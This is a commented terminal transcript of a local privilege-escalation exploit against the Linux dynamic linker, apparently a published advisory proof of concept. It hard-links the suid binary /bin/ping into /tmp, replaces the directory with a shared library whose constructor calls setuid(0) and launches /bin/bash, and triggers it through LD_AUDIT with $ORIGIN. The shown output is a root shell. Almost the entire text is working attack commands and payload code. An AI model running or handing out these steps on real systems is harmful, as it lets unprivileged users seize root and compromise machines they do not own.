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# Create a directory in /tmp we can control.

$ mkdir /tmp/exploit

# Link to an suid binary, thus changing the definition of $ORIGIN.

$ ln /bin/ping /tmp/exploit/target
# Open a file descriptor to the target binary (note: some users are surprised

# to learn exec can be used to manipulate the redirections of the current

# shell if a command is not specified. This is what is happening below).

$ exec 3< /tmp/exploit/target
# This descriptor should now be accessible via /proc.

$ ls -l /proc/$$/fd/3

lr-x------ 1 taviso taviso 64 Oct 15 09:21 /proc/10836/fd/3 -> /tmp/exploit/target*
# Remove the directory previously created

$ rm -rf /tmp/exploit/
# The /proc link should still exist, but now will be marked deleted.

$ ls -l /proc/$$/fd/3

lr-x------ 1 taviso taviso 64 Oct 15 09:21 /proc/10836/fd/3 -> /tmp/exploit/target (deleted)
# Replace the directory with a payload DSO, thus making $ORIGIN a valid target to dlopen().

$ cat > payload.c

void __attribute__((constructor)) init()

{

setuid(0);

system("/bin/bash");

}

^D

$ gcc -w -fPIC -shared -o /tmp/exploit payload.c

$ ls -l /tmp/exploit

-rwxrwx--- 1 taviso taviso 4.2K Oct 15 09:22 /tmp/exploit*
# Now force the link in /proc to load $ORIGIN via LD_AUDIT.

$ LD_AUDIT="\$ORIGIN" exec /proc/self/fd/3

sh-4.1# whoami

root

sh-4.1# id

uid=0(root) gid=500(taviso)